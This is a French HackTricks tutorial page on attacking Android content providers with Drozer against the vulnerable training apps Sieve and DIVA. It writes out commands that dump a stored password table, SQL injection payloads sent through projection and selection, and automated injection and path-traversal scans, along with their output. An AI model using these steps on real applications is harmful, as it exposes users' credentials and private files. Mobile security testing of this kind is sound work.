13 KiB
Exploitation des fournisseurs de contenu
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Introduction
Un composant fournisseur de contenu fournit des données d'une application à d'autres sur demande. Ces demandes sont traitées par les méthodes de la classe ContentResolver. Un fournisseur de contenu peut utiliser différentes façons de stocker ses données et les données peuvent être stockées dans une base de données, dans des fichiers, ou même sur un réseau.
Il doit être déclaré dans le fichier Manifest.xml. Exemple :
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
Dans ce cas, il est nécessaire d'avoir la permission READ_KEYS
pour accéder à content://com.mwr.example.sieve.DBContentProvider/Keys
. (Remarquez également que dans la section suivante, nous allons accéder à /Keys/
qui n'est pas protégé, car le développeur s'est trompé et a protégé /Keys
, mais a déclaré /Keys/
)
Il est possible d'accéder à des données privées ou d'exploiter une vulnérabilité (Injection SQL ou Traversal de chemin).
Obtenir des informations à partir des fournisseurs de contenu exposés
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Nous pouvons reconstruire une partie des URI de contenu pour accéder au DBContentProvider, car nous savons qu'ils doivent commencer par "content://" et les informations obtenues par Drozer à l'intérieur de Path: /Keys.
Drozer peut deviner et essayer plusieurs URIs:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Vous devriez également vérifier le code du ContentProvider pour rechercher des requêtes :
De plus, si vous ne trouvez pas de requêtes complètes, vous pouvez vérifier les noms déclarés par le ContentProvider dans la méthode onCreate
:
La requête sera comme suit : content://nom.du.package.classe/nom_déclaré
Content Providers avec base de données
Probablement la plupart des Content Providers sont utilisés comme interface pour une base de données. Par conséquent, si vous y avez accès, vous pourriez être en mesure d'extraire, de mettre à jour, d'insérer et de supprimer des informations.
Vérifiez si vous pouvez accéder à des informations sensibles ou essayez de les modifier pour contourner les mécanismes d'autorisation.
Lorsque vous vérifiez le code du Content Provider, recherchez également des fonctions nommées comme : query, insert, update et delete :
Car vous pourrez les appeler.
Contenu de la requête
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Insérer du contenu
En interrogeant la base de données, vous apprendrez le nom des colonnes, puis vous pourrez insérer des données dans la base de données :
Remarquez que dans l'insertion et la mise à jour, vous pouvez utiliser --string pour indiquer une chaîne, --double pour indiquer un double, --float, --integer, --long, --short, --boolean
Mettre à jour le contenu
En connaissant le nom des colonnes, vous pouvez également modifier les entrées :
Supprimer le contenu
Injection SQL
Il est simple de tester l'injection SQL (SQLite) en manipulant les champs de projection et de sélection qui sont transmis au fournisseur de contenu.
Lorsque vous interrogez le fournisseur de contenu, il y a 2 arguments intéressants pour rechercher des informations : --selection et --projection :
Vous pouvez essayer de abuser de ces paramètres pour tester les injections SQL :
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Découverte automatique de l'injection SQL par Drozer
Drozer est un outil puissant pour l'analyse de sécurité des applications Android. Il peut être utilisé pour détecter automatiquement les vulnérabilités d'injection SQL dans les applications Android. Pour ce faire, il utilise un module appelé scanner.provider.sqlinjection
.
Ce module analyse les fournisseurs de contenu de l'application à la recherche de vulnérabilités d'injection SQL. Il envoie des requêtes SQL malveillantes aux fournisseurs de contenu et analyse les réponses pour détecter les erreurs SQL. Si une erreur SQL est détectée, cela signifie qu'il y a une vulnérabilité d'injection SQL dans l'application.
Pour utiliser ce module, vous devez d'abord vous connecter à l'application cible à l'aide de Drozer. Ensuite, vous pouvez exécuter la commande suivante pour lancer le module :
run scanner.provider.sqlinjection
Drozer enverra alors des requêtes SQL malveillantes aux fournisseurs de contenu de l'application et affichera les résultats de l'analyse. Si une vulnérabilité d'injection SQL est détectée, Drozer affichera les détails de la vulnérabilité, y compris le nom du fournisseur de contenu vulnérable et la requête SQL malveillante qui a été utilisée pour détecter la vulnérabilité.
Il est important de noter que l'utilisation de ce module peut entraîner des faux positifs ou des faux négatifs. Par conséquent, il est recommandé de vérifier manuellement toutes les vulnérabilités détectées par Drozer avant de les signaler comme des vulnérabilités réelles.
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
Fournisseurs de contenu basés sur le système de fichiers
Les fournisseurs de contenu peuvent également être utilisés pour accéder aux fichiers :
Lire un fichier
Vous pouvez lire des fichiers à partir du fournisseur de contenu.
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Traversée de chemin d'accès
Si vous pouvez accéder aux fichiers, vous pouvez essayer d'exploiter une traversée de chemin d'accès (dans ce cas, ce n'est pas nécessaire mais vous pouvez essayer d'utiliser "../" et des astuces similaires).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Découverte automatique de la traversée de chemin par Drozer
Drozer has a module that can automatically discover Path Traversal vulnerabilities in Content Providers. This module is called scanner.provider.traversal
.
Drozer dispose d'un module qui peut automatiquement découvrir les vulnérabilités de la traversée de chemin dans les fournisseurs de contenu. Ce module s'appelle scanner.provider.traversal
.
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
Références
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.